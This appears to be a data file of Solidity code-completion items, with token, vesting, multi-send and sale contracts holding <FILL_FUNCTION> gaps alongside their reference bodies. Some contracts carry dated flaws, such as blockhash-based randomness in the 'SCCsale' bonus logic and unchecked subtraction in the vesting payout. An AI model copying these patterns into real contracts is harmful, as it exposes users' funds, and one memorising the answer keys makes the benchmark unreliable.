event OwnershipTransferred(address indexed previousOwner, address indexed newOwner, uint256 amount); /** Modifiers */ modifier onlyWhitelisted() { require(whitelist[msg.sender]); _; } /** Contribution Methods */ // Fallback, redirects to contribute function() public payable { contribute(msg.sender); } function contribute(address sender) internal { // Make sure the shares aren't locked require(!locked); // Ensure the contribution phase has started require(contributionStarted); // Make sure they're in the whitelist require(whitelist[sender]); // Assert that the contribution is above or equal to the minimum contribution require(msg.value >= minimumContribution); // Make sure the contribution isn't above the hard cap require(hardCap >= msg.value); // Ensure the amount contributed is cleanly divisible by the minimum contribution require((msg.value % minimumContribution) == 0); // Make sure the contribution doesn't exceed the hardCap require(hardCap >= SafeMath.add(totalContributed, msg.value)); // Increase the total contributed totalContributed = SafeMath.add(totalContributed, msg.value); // Calculated share uint256 share = percent(msg.value, valuation, 5); // Calculate and set the contributors % holding if (ownerPercentages[sender] != 0) { // Existing contributor ownerShareTokens[sender] = SafeMath.add(ownerShareTokens[sender], msg.value); ownerPercentages[sender] = SafeMath.add(share, ownerPercentages[sender]); } else { // New contributor ownerAddresses[totalOwners] = sender; totalOwners += 1; ownerPercentages[sender] = share; ownerShareTokens[sender] = msg.value; } // Transfer the ether to the wallet wallet.transfer(msg.value); // Fire event emit Contribution(sender, share, msg.value); } // Add a wallet to the whitelist function whitelistWallet(address contributor) external onlyOwner() { // Is it actually an address? require(contributor != address(0)); // Add address to whitelist whitelist[contributor] = true; } // Start the contribution function startContribution() external onlyOwner() { require(!contributionStarted); contributionStarted = true; } /** Public Methods */ // Set the owners share per owner, the balancing of shares is done externally function setOwnerShare(address owner, uint256 value) public onlyOwner() { // Make sure the shares aren't locked require(!locked); if (ownerShareTokens[owner] == 0) { whitelist[owner] = true; ownerAddresses[totalOwners] = owner; totalOwners += 1; } ownerShareTokens[owner] = value; ownerPercentages[owner] = percent(value, valuation, 5); } // Non-Standard token transfer, doesn't confine to any ERC function sendOwnership(address receiver, uint256 amount) public onlyWhitelisted() { // Require they have an actual balance require(ownerShareTokens[msg.sender] > 0); // Require the amount to be equal or less to their shares require(ownerShareTokens[msg.sender] >= amount); // Deduct the amount from the owner ownerShareTokens[msg.sender] = SafeMath.sub(ownerShareTokens[msg.sender], amount); // Remove the owner if the share is now 0 if (ownerShareTokens[msg.sender] == 0) { ownerPercentages[msg.sender] = 0; whitelist[receiver] = false; } else { // Recalculate percentage ownerPercentages[msg.sender] = percent(ownerShareTokens[msg.sender], valuation, 5); } // Add the new share holder if (ownerShareTokens[receiver] == 0) { whitelist[receiver] = true; ownerAddresses[totalOwners] = receiver; totalOwners += 1; } ownerShareTokens[receiver] = SafeMath.add(ownerShareTokens[receiver], amount); ownerPercentages[receiver] = SafeMath.add(ownerPercentages[receiver], percent(amount, valuation, 5)); emit OwnershipTransferred(msg.sender, receiver, amount); } // Lock the shares so contract owners cannot change them function lockShares() public onlyOwner() { require(!locked); locked = true; } // Distribute the tokens in the contract to the contributors/creators function distributeTokens(address token) public onlyWhitelisted() { // Is this method already being called? require(!distributionActive); distributionActive = true; // Get the token address ERC677 erc677 = ERC677(token); // Has the contract got a balance? uint256 currentBalance = erc677.balanceOf(this) - tokenBalance[token]; require(currentBalance > ethWei * distributionMinimum); // Add the current balance on to the total returned tokenBalance[token] = SafeMath.add(tokenBalance[token], currentBalance); // Loop through stakers and add the earned shares // This is GAS expensive, but unless complex more bug prone logic was added there is no alternative // This is due to the percentages needed to be calculated for all at once, or the amounts would differ for (uint64 i = 0; i < totalOwners; i++) { address owner = ownerAddresses[i]; // If the owner still has a share if (ownerShareTokens[owner] > 0) { // Calculate and transfer the ownership of shares with a precision of 5, for example: 12.345% balances[owner][token] = SafeMath.add(SafeMath.div(SafeMath.mul(currentBalance, ownerPercentages[owner]), 100000), balances[owner][token]); } } distributionActive = false; // Emit the event emit TokenDistribution(token, currentBalance); } // Withdraw tokens from the owners balance function withdrawTokens(address token, uint256 amount) public { // Can't withdraw nothing require(amount > 0); // Assert they're withdrawing what is in their balance require(balances[msg.sender][token] >= amount); // Substitute the amounts balances[msg.sender][token] = SafeMath.sub(balances[msg.sender][token], amount); tokenBalance[token] = SafeMath.sub(tokenBalance[token], amount); // Transfer the tokens ERC677 erc677 = ERC677(token); require(erc677.transfer(msg.sender, amount) == true); // Emit the event emit TokenWithdrawal(token, msg.sender, amount); } <FILL_FUNCTION> // Sets the contribution ETH wallet function setEthWallet(address _wallet) public onlyOwner() { wallet = _wallet; } // Is an account whitelisted? function isWhitelisted(address contributor) public view returns (bool) { return whitelist[contributor]; } // Get the owners token balance function getOwnerBalance(address token) public view returns (uint256) { return balances[msg.sender][token]; } /** Private Methods */ // Credit to Rob Hitchens: https://stackoverflow.com/a/42739843 function percent(uint numerator, uint denominator, uint precision) private pure returns (uint quotient) { uint _numerator = numerator * 10 ** (precision+1); uint _quotient = ((_numerator / denominator) + 5) / 10; return ( _quotient); } }
distributionMinimum = minimum;
function setDistributionMinimum(uint16 minimum) public onlyOwner()
// Sets the minimum balance needed for token distribution function setDistributionMinimum(uint16 minimum) public onlyOwner()
93,698
VestingContractCT
sendCurrentPayment
contract VestingContractCT { //storage address public owner; OpiriaToken public company_token; address public PartnerAccount; uint public originalBalance; uint public currentBalance; uint public alreadyTransfered; uint public startDateOfPayments; uint public endDateOfPayments; uint public periodOfOnePayments; uint public limitPerPeriod; uint public daysOfPayments; //modifiers modifier onlyOwner { require(owner == msg.sender); _; } //Events event Transfer(address indexed to, uint indexed value); event OwnerChanged(address indexed owner); //constructor constructor (OpiriaToken _company_token) public { owner = msg.sender; PartnerAccount = 0x89a380E3d71a71C51441EBd7bf512543a4F6caE7; company_token = _company_token; originalBalance = 2500000 * 10**18; // 2 500 000 PDATA currentBalance = originalBalance; alreadyTransfered = 0; startDateOfPayments = 1554069600; //From 01 Apr 2019, 00:00:00 endDateOfPayments = 1569880800; //From 01 Oct 2019, 00:00:00 periodOfOnePayments = 24 * 60 * 60; // 1 day in seconds daysOfPayments = (endDateOfPayments - startDateOfPayments) / periodOfOnePayments; // 183 days limitPerPeriod = originalBalance / daysOfPayments; } /// @dev Fallback function: don't accept ETH function() public payable { revert(); } /// @dev Get current balance of the contract function getBalance() constant public returns(uint) { return company_token.balanceOf(this); } function setOwner(address _owner) public onlyOwner { require(_owner != 0); owner = _owner; emit OwnerChanged(owner); } function sendCurrentPayment() public {<FILL_FUNCTION_BODY> } }
contract VestingContractCT { //storage address public owner; OpiriaToken public company_token; address public PartnerAccount; uint public originalBalance; uint public currentBalance; uint public alreadyTransfered; uint public startDateOfPayments; uint public endDateOfPayments; uint public periodOfOnePayments; uint public limitPerPeriod; uint public daysOfPayments; //modifiers modifier onlyOwner { require(owner == msg.sender); _; } //Events event Transfer(address indexed to, uint indexed value); event OwnerChanged(address indexed owner); //constructor constructor (OpiriaToken _company_token) public { owner = msg.sender; PartnerAccount = 0x89a380E3d71a71C51441EBd7bf512543a4F6caE7; company_token = _company_token; originalBalance = 2500000 * 10**18; // 2 500 000 PDATA currentBalance = originalBalance; alreadyTransfered = 0; startDateOfPayments = 1554069600; //From 01 Apr 2019, 00:00:00 endDateOfPayments = 1569880800; //From 01 Oct 2019, 00:00:00 periodOfOnePayments = 24 * 60 * 60; // 1 day in seconds daysOfPayments = (endDateOfPayments - startDateOfPayments) / periodOfOnePayments; // 183 days limitPerPeriod = originalBalance / daysOfPayments; } /// @dev Fallback function: don't accept ETH function() public payable { revert(); } /// @dev Get current balance of the contract function getBalance() constant public returns(uint) { return company_token.balanceOf(this); } function setOwner(address _owner) public onlyOwner { require(_owner != 0); owner = _owner; emit OwnerChanged(owner); } <FILL_FUNCTION> }
uint currentPeriod = (now - startDateOfPayments) / periodOfOnePayments; uint currentLimit = currentPeriod * limitPerPeriod; uint unsealedAmount = currentLimit - alreadyTransfered; if (unsealedAmount > 0) { if (currentBalance >= unsealedAmount) { company_token.transfer(PartnerAccount, unsealedAmount); alreadyTransfered += unsealedAmount; currentBalance -= unsealedAmount; emit Transfer(PartnerAccount, unsealedAmount); } else { company_token.transfer(PartnerAccount, currentBalance); alreadyTransfered += currentBalance; currentBalance -= currentBalance; emit Transfer(PartnerAccount, currentBalance); } }
function sendCurrentPayment() public
function sendCurrentPayment() public
13,074
MultiSender
_calculateTotalAmounts
contract MultiSender { // Internal Functions function _sendETH(address payable address_, uint256 amount_) internal { (bool success, ) = payable(address_).call{value: amount_}(""); require(success, "Transfer failed"); } function _calculateTotalAmounts(uint256[] memory amounts_) internal pure returns (uint256 _totalAmount) {<FILL_FUNCTION_BODY> } function multiSendETH(address payable[] calldata addresses_, uint256[] calldata amounts_, bool useChecks_) external payable { require(addresses_.length == amounts_.length, "Array lengths mismatch!"); // We use loop checks but we can opt out to save gas if (useChecks_) { // Get the Total Amount uint256 _totalAmount = _calculateTotalAmounts(amounts_); // Make sure the msg.sender has enough ETH require(msg.sender.balance >= _totalAmount, "msg.sender does not have enough balance!"); } // Multi-Send the ETHs for (uint256 i = 0; i < addresses_.length; i++) { _sendETH(addresses_[i], amounts_[i]); } } function multiSendERC20(address erc20_, address[] calldata addresses_, uint256[] calldata amounts_, bool useChecks_) external { require(addresses_.length == amounts_.length, "Array lengths mismatch!"); // We use loop checks but we can opt out to save gas if (useChecks_) { // Get the Total Amount uint256 _totalAmount = _calculateTotalAmounts(amounts_); // Make sure the msg.sender has enough ETH require(IERC20(erc20_).balanceOf(msg.sender) >= _totalAmount, "msg.sender does not have enough balance!"); } // Multi-Send ERC20s for (uint256 i = 0; i < addresses_.length; i++) { IERC20(erc20_).transferFrom(msg.sender, addresses_[i], amounts_[i]); } } function multiSendERC721(address erc721_, address[] calldata addresses_, uint256[] calldata tokenIds_, bool useChecks_) external { require(addresses_.length == tokenIds_.length, "Array lengths mismatch!"); if (useChecks_) { for (uint256 i = 0; i < tokenIds_.length; i++) { require(msg.sender == IERC721(erc721_).ownerOf(tokenIds_[i]), "You are not the owner of this token!"); } } // Multi-Send ERC721s for (uint256 i = 0; i < addresses_.length; i++) { IERC721(erc721_).transferFrom(msg.sender, addresses_[i], tokenIds_[i]); } } function multiSendERC1155(address erc1155_, address[] calldata addresses_, uint256[] calldata tokenIds_, uint256[] calldata amounts_, bytes calldata data_) external { require(addresses_.length == tokenIds_.length && addresses_.length == amounts_.length, "Array lengths mismatch!"); // No checks for this one. for (uint256 i = 0; i < addresses_.length; i++) { IERC1155(erc1155_).safeTransferFrom(msg.sender, addresses_[i], tokenIds_[i], amounts_[i], data_); } } }
contract MultiSender { // Internal Functions function _sendETH(address payable address_, uint256 amount_) internal { (bool success, ) = payable(address_).call{value: amount_}(""); require(success, "Transfer failed"); } <FILL_FUNCTION> function multiSendETH(address payable[] calldata addresses_, uint256[] calldata amounts_, bool useChecks_) external payable { require(addresses_.length == amounts_.length, "Array lengths mismatch!"); // We use loop checks but we can opt out to save gas if (useChecks_) { // Get the Total Amount uint256 _totalAmount = _calculateTotalAmounts(amounts_); // Make sure the msg.sender has enough ETH require(msg.sender.balance >= _totalAmount, "msg.sender does not have enough balance!"); } // Multi-Send the ETHs for (uint256 i = 0; i < addresses_.length; i++) { _sendETH(addresses_[i], amounts_[i]); } } function multiSendERC20(address erc20_, address[] calldata addresses_, uint256[] calldata amounts_, bool useChecks_) external { require(addresses_.length == amounts_.length, "Array lengths mismatch!"); // We use loop checks but we can opt out to save gas if (useChecks_) { // Get the Total Amount uint256 _totalAmount = _calculateTotalAmounts(amounts_); // Make sure the msg.sender has enough ETH require(IERC20(erc20_).balanceOf(msg.sender) >= _totalAmount, "msg.sender does not have enough balance!"); } // Multi-Send ERC20s for (uint256 i = 0; i < addresses_.length; i++) { IERC20(erc20_).transferFrom(msg.sender, addresses_[i], amounts_[i]); } } function multiSendERC721(address erc721_, address[] calldata addresses_, uint256[] calldata tokenIds_, bool useChecks_) external { require(addresses_.length == tokenIds_.length, "Array lengths mismatch!"); if (useChecks_) { for (uint256 i = 0; i < tokenIds_.length; i++) { require(msg.sender == IERC721(erc721_).ownerOf(tokenIds_[i]), "You are not the owner of this token!"); } } // Multi-Send ERC721s for (uint256 i = 0; i < addresses_.length; i++) { IERC721(erc721_).transferFrom(msg.sender, addresses_[i], tokenIds_[i]); } } function multiSendERC1155(address erc1155_, address[] calldata addresses_, uint256[] calldata tokenIds_, uint256[] calldata amounts_, bytes calldata data_) external { require(addresses_.length == tokenIds_.length && addresses_.length == amounts_.length, "Array lengths mismatch!"); // No checks for this one. for (uint256 i = 0; i < addresses_.length; i++) { IERC1155(erc1155_).safeTransferFrom(msg.sender, addresses_[i], tokenIds_[i], amounts_[i], data_); } } }
for (uint256 i = 0; i < amounts_.length; i++) { _totalAmount += amounts_[i]; }
function _calculateTotalAmounts(uint256[] memory amounts_) internal pure returns (uint256 _totalAmount)
function _calculateTotalAmounts(uint256[] memory amounts_) internal pure returns (uint256 _totalAmount)
35,045
SCCsale
transfer
contract SCCsale is ERC20, SafeMath{ mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) {<FILL_FUNCTION_BODY> } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } uint256 public totalSupply; mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = sub(balances[_from],(_value)); balances[_to] = add(balances[_to],(_value)); allowed[_from][msg.sender] = sub(allowed[_from][msg.sender],(_value)); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } modifier during_offering_time(){ if (now <= startTime){ revert(); }else{ if (totalSupply>=cap){ revert(); }else{ _; } } } function () public payable during_offering_time { createTokens(msg.sender); } function createTokens(address recipient) public payable { if (msg.value == 0) { revert(); } uint tokens = div(mul(msg.value, price), 1 ether); uint extra =0; totalContribution=add(totalContribution,msg.value); if (tokens>=1000){ uint random_number=uint(keccak256(block.blockhash(block.number-1), tokens ))%6; if (tokens>=50000){ random_number= 0; } if (random_number == 0) { extra = add(extra, mul(tokens,10)); } if (random_number >0) { extra = add(extra, mul(tokens,random_number)); } } if ( (block.number % 2)==0) { extra = mul(add(extra,tokens),2); } totalBonusTokensIssued=add(totalBonusTokensIssued,extra); tokens= add(tokens,extra); totalSupply = add(totalSupply, tokens); balances[recipient] = add(balances[recipient], tokens); if ( totalSupply>=cap) { purchasingAllowed =false; } if (!owner.send(msg.value)) { revert(); } } function getStats() constant public returns (uint256, uint256, uint256, bool) { return (totalContribution, totalSupply, totalBonusTokensIssued, purchasingAllowed); } uint256 public totalContribution=0; uint256 public totalBonusTokensIssued=0; bool public purchasingAllowed = true; string public name = "Scam Connect"; string public symbol = "SCC"; uint public decimals = 3; uint256 public price; address public owner; uint256 public startTime; uint256 public cap; function SCCsale() public { totalSupply = 0; startTime = now + 1 days; owner = msg.sender; price = 100000; cap = 7600000; } }
contract SCCsale is ERC20, SafeMath{ mapping(address => uint256) balances; <FILL_FUNCTION> function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } uint256 public totalSupply; mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = sub(balances[_from],(_value)); balances[_to] = add(balances[_to],(_value)); allowed[_from][msg.sender] = sub(allowed[_from][msg.sender],(_value)); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } modifier during_offering_time(){ if (now <= startTime){ revert(); }else{ if (totalSupply>=cap){ revert(); }else{ _; } } } function () public payable during_offering_time { createTokens(msg.sender); } function createTokens(address recipient) public payable { if (msg.value == 0) { revert(); } uint tokens = div(mul(msg.value, price), 1 ether); uint extra =0; totalContribution=add(totalContribution,msg.value); if (tokens>=1000){ uint random_number=uint(keccak256(block.blockhash(block.number-1), tokens ))%6; if (tokens>=50000){ random_number= 0; } if (random_number == 0) { extra = add(extra, mul(tokens,10)); } if (random_number >0) { extra = add(extra, mul(tokens,random_number)); } } if ( (block.number % 2)==0) { extra = mul(add(extra,tokens),2); } totalBonusTokensIssued=add(totalBonusTokensIssued,extra); tokens= add(tokens,extra); totalSupply = add(totalSupply, tokens); balances[recipient] = add(balances[recipient], tokens); if ( totalSupply>=cap) { purchasingAllowed =false; } if (!owner.send(msg.value)) { revert(); } } function getStats() constant public returns (uint256, uint256, uint256, bool) { return (totalContribution, totalSupply, totalBonusTokensIssued, purchasingAllowed); } uint256 public totalContribution=0; uint256 public totalBonusTokensIssued=0; bool public purchasingAllowed = true; string public name = "Scam Connect"; string public symbol = "SCC"; uint public decimals = 3; uint256 public price; address public owner; uint256 public startTime; uint256 public cap; function SCCsale() public { totalSupply = 0; startTime = now + 1 days; owner = msg.sender; price = 100000; cap = 7600000; } }
require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = sub(balances[msg.sender],(_value)); balances[_to] = add(balances[_to],(_value)); Transfer(msg.sender, _to, _value); return true;
function transfer(address _to, uint256 _value) public returns (bool)
function transfer(address _to, uint256 _value) public returns (bool)
6,205
ReturnMANA
transferBackMANA
contract ReturnMANA is Ownable { // contract for mapping return address of vested accounts ReturnVestingRegistry public returnVesting; // MANA Token BurnableToken public token; // address of the contract that holds the reserve of staked MANA address public terraformReserve; /** * @dev Constructor * @param _token MANA token contract address * @param _terraformReserve address of the contract that holds the staked funds for the auction * @param _returnVesting address of the contract for vested account mapping */ function ReturnMANA(address _token, address _terraformReserve, address _returnVesting) public { token = BurnableToken(_token); returnVesting = ReturnVestingRegistry(_returnVesting); terraformReserve = _terraformReserve; } /** * @dev Burn MANA * @param _amount Amount of MANA to burn from terraform */ function burnMana(uint256 _amount) onlyOwner public { require(_amount > 0); require(token.transferFrom(terraformReserve, this, _amount)); token.burn(_amount); } /** * @dev Transfer back remaining MANA to account * @param _address Address of the account to return MANA to * @param _amount Amount of MANA to return */ function transferBackMANA(address _address, uint256 _amount) onlyOwner public {<FILL_FUNCTION_BODY> } /** * @dev Transfer back remaining MANA to multiple accounts * @param _addresses Addresses of the accounts to return MANA to * @param _amounts Amounts of MANA to return */ function transferBackMANAMany(address[] _addresses, uint256[] _amounts) onlyOwner public { require(_addresses.length == _amounts.length); for (uint256 i = 0; i < _addresses.length; i++) { transferBackMANA(_addresses[i], _amounts[i]); } } }
contract ReturnMANA is Ownable { // contract for mapping return address of vested accounts ReturnVestingRegistry public returnVesting; // MANA Token BurnableToken public token; // address of the contract that holds the reserve of staked MANA address public terraformReserve; /** * @dev Constructor * @param _token MANA token contract address * @param _terraformReserve address of the contract that holds the staked funds for the auction * @param _returnVesting address of the contract for vested account mapping */ function ReturnMANA(address _token, address _terraformReserve, address _returnVesting) public { token = BurnableToken(_token); returnVesting = ReturnVestingRegistry(_returnVesting); terraformReserve = _terraformReserve; } /** * @dev Burn MANA * @param _amount Amount of MANA to burn from terraform */ function burnMana(uint256 _amount) onlyOwner public { require(_amount > 0); require(token.transferFrom(terraformReserve, this, _amount)); token.burn(_amount); } <FILL_FUNCTION> /** * @dev Transfer back remaining MANA to multiple accounts * @param _addresses Addresses of the accounts to return MANA to * @param _amounts Amounts of MANA to return */ function transferBackMANAMany(address[] _addresses, uint256[] _amounts) onlyOwner public { require(_addresses.length == _amounts.length); for (uint256 i = 0; i < _addresses.length; i++) { transferBackMANA(_addresses[i], _amounts[i]); } } }
require(_address != address(0)); require(_amount > 0); address returnAddress = _address; // Use vesting return address if present if (returnVesting != address(0)) { address mappedAddress = returnVesting.returnAddress(_address); if (mappedAddress != address(0)) { returnAddress = mappedAddress; } } // Funds are always transferred from reserve require(token.transferFrom(terraformReserve, returnAddress, _amount));
function transferBackMANA(address _address, uint256 _amount) onlyOwner public
/** * @dev Transfer back remaining MANA to account * @param _address Address of the account to return MANA to * @param _amount Amount of MANA to return */ function transferBackMANA(address _address, uint256 _amount) onlyOwner public
14,374
ZetaChainToken
ZetaChainToken
contract ZetaChainToken is SafeMath { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; address public owner; /* This creates an array with all balances */ mapping(address => uint256) public balanceOf; mapping(address => uint256) public freezeOf; mapping(address => mapping(address => uint256)) public allowance; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint256 value); /* This notifies clients about the amount frozen */ event Freeze(address indexed from, uint256 value); /* This notifies clients about the amount unfrozen */ event Unfreeze(address indexed from, uint256 value); /* Initializes contract with initial supply tokens to the creator of the contract */ function ZetaChainToken() {<FILL_FUNCTION_BODY> } /* Send tokens */ function transfer(address _to, uint256 _value) { if (_to == 0x0) revert(); // Prevent transfer to 0x0 address. Use burn() instead if (_value <= 0) revert(); if (balanceOf[msg.sender] < _value) revert(); // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) revert(); // Check for overflows balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place } /* Allow another contract to spend some tokens in your behalf */ function approve(address _spender, uint256 _value) returns(bool success) { require((_value == 0) || (allowance[msg.sender][_spender] == 0)); if (_value <= 0) revert(); allowance[msg.sender][_spender] = _value; return true; } /* Transfer tokens */ function transferFrom(address _from, address _to, uint256 _value) returns(bool success) { if (_to == 0x0) revert(); // Prevent transfer to 0x0 address. Use burn() instead if (_value <= 0) revert(); if (balanceOf[_from] < _value) revert(); // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) revert(); // Check for overflows if (_value > allowance[_from][msg.sender]) revert(); // Check allowance balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); // Subtract from the sender balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } /* Destruction of the token */ function burn(uint256 _value) returns(bool success) { if (balanceOf[msg.sender] < _value) revert(); // Check if the sender has enough if (_value <= 0) revert(); balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender totalSupply = SafeMath.safeSub(totalSupply, _value); // Updates totalSupply Burn(msg.sender, _value); return true; } function freeze(uint256 _value) returns(bool success) { if (balanceOf[msg.sender] < _value) revert(); // Check if the sender has enough if (_value <= 0) revert(); balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value); // Updates frozen tokens Freeze(msg.sender, _value); return true; } function unfreeze(uint256 _value) returns(bool success) { if (freezeOf[msg.sender] < _value) revert(); // Check if the sender has enough if (_value <= 0) revert(); freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value); // Updates frozen tokens balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value); // Add to the sender Unfreeze(msg.sender, _value); return true; } /* Prevents accidental sending of Ether */ function () { revert(); } /* token code by aminsire@gmail.com */ }
contract ZetaChainToken is SafeMath { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; address public owner; /* This creates an array with all balances */ mapping(address => uint256) public balanceOf; mapping(address => uint256) public freezeOf; mapping(address => mapping(address => uint256)) public allowance; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint256 value); /* This notifies clients about the amount frozen */ event Freeze(address indexed from, uint256 value); /* This notifies clients about the amount unfrozen */ event Unfreeze(address indexed from, uint256 value); <FILL_FUNCTION> /* Send tokens */ function transfer(address _to, uint256 _value) { if (_to == 0x0) revert(); // Prevent transfer to 0x0 address. Use burn() instead if (_value <= 0) revert(); if (balanceOf[msg.sender] < _value) revert(); // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) revert(); // Check for overflows balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place } /* Allow another contract to spend some tokens in your behalf */ function approve(address _spender, uint256 _value) returns(bool success) { require((_value == 0) || (allowance[msg.sender][_spender] == 0)); if (_value <= 0) revert(); allowance[msg.sender][_spender] = _value; return true; } /* Transfer tokens */ function transferFrom(address _from, address _to, uint256 _value) returns(bool success) { if (_to == 0x0) revert(); // Prevent transfer to 0x0 address. Use burn() instead if (_value <= 0) revert(); if (balanceOf[_from] < _value) revert(); // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) revert(); // Check for overflows if (_value > allowance[_from][msg.sender]) revert(); // Check allowance balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); // Subtract from the sender balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } /* Destruction of the token */ function burn(uint256 _value) returns(bool success) { if (balanceOf[msg.sender] < _value) revert(); // Check if the sender has enough if (_value <= 0) revert(); balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender totalSupply = SafeMath.safeSub(totalSupply, _value); // Updates totalSupply Burn(msg.sender, _value); return true; } function freeze(uint256 _value) returns(bool success) { if (balanceOf[msg.sender] < _value) revert(); // Check if the sender has enough if (_value <= 0) revert(); balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value); // Updates frozen tokens Freeze(msg.sender, _value); return true; } function unfreeze(uint256 _value) returns(bool success) { if (freezeOf[msg.sender] < _value) revert(); // Check if the sender has enough if (_value <= 0) revert(); freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value); // Updates frozen tokens balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value); // Add to the sender Unfreeze(msg.sender, _value); return true; } /* Prevents accidental sending of Ether */ function () { revert(); } /* token code by aminsire@gmail.com */ }
balanceOf[msg.sender] = 100000000000000000; // Give the creator all initial tokens totalSupply = 100000000000000000; // Update total supply name = 'Zeta Chain'; // Set the name for display purposes symbol = 'ZETC'; // Set the symbol for display purposes decimals = 8; // Amount of decimals for display purposes owner = msg.sender;
function ZetaChainToken()
/* Initializes contract with initial supply tokens to the creator of the contract */ function ZetaChainToken()
32,408
Extradecoin
contract Extradecoin is Owner { using SafeMath for uint256; string public constant name = "EXTRADECOIN"; string public constant symbol = "ETE"; uint public constant decimals = 18; uint256 constant public totalSupply = 250000000 * 10 ** 18; // 250 mil tokens will be supplied mapping(address => uint256) internal balances; mapping(address => mapping (address => uint256)) internal allowed; address public adminAddress; address public walletAddress; address public founderAddress; address public advisorAddress; mapping(address => uint256) public totalInvestedAmountOf; uint constant lockPeriod1 = 3 years; // 1st locked period for tokens allocation of founder and team uint constant lockPeriod2 = 1 years; // 2nd locked period for tokens allocation of founder and team uint constant lockPeriod3 = 90 days; // 3nd locked period for tokens allocation of advisor and ICO partners uint constant NOT_SALE = 0; // Not in sales uint constant IN_ICO = 1; // In ICO uint constant END_SALE = 2; // End sales uint256 public constant salesAllocation = 125000000 * 10 ** 18; // 125 mil tokens allocated for sales uint256 public constant founderAllocation = 37500000 * 10 ** 18; // 37.5 mil tokens allocated for founders uint256 public constant advisorAllocation = 25000000 * 10 ** 18; // 25 mil tokens allocated for allocated for ICO partners and bonus fund uint256 public constant reservedAllocation = 62500000 * 10 ** 18; // 62.5 mil tokens allocated for reserved, bounty campaigns, ICO partners, and bonus fund uint256 public constant minInvestedCap = 6000 * 10 ** 18; // 2500 ether for softcap uint256 public constant minInvestedAmount = 0.1 * 10 ** 18; // 0.1 ether for mininum ether contribution per transaction uint saleState; uint256 totalInvestedAmount; uint public icoStartTime; uint public icoEndTime; bool public inActive; bool public isSelling; bool public isTransferable; uint public founderAllocatedTime = 1; uint public advisorAllocatedTime = 1; uint256 public icoStandardPrice; uint256 public totalRemainingTokensForSales; // Total tokens remaining for sales uint256 public totalAdvisor; // Total tokens allocated for advisor uint256 public totalReservedTokenAllocation; // Total tokens allocated for reserved event Approval(address indexed owner, address indexed spender, uint256 value); // ERC20 standard event event Transfer(address indexed from, address indexed to, uint256 value); // ERC20 standard event event StartICO(uint state); // Start ICO sales event EndICO(uint state); // End ICO sales event SetICOPrice(uint256 price); // Set ICO standard price event IssueTokens(address investorAddress, uint256 amount, uint256 tokenAmount, uint state); // Issue tokens to investor event AllocateTokensForFounder(address founderAddress, uint256 founderAllocatedTime, uint256 tokenAmount); // Allocate tokens to founders' address event AllocateTokensForAdvisor(address advisorAddress, uint256 advisorAllocatedTime, uint256 tokenAmount); // Allocate tokens to advisor address event AllocateReservedTokens(address reservedAddress, uint256 tokenAmount); // Allocate reserved tokens event AllocateSalesTokens(address salesAllocation, uint256 tokenAmount); // Allocate sales tokens modifier isActive() { require(inActive == false); _; } modifier isInSale() { require(isSelling == true); _; } modifier transferable() { require(isTransferable == true); _; } modifier onlyOwnerOrAdminOrPortal() { require(msg.sender == owner || msg.sender == adminAddress); _; } modifier onlyOwnerOrAdmin() 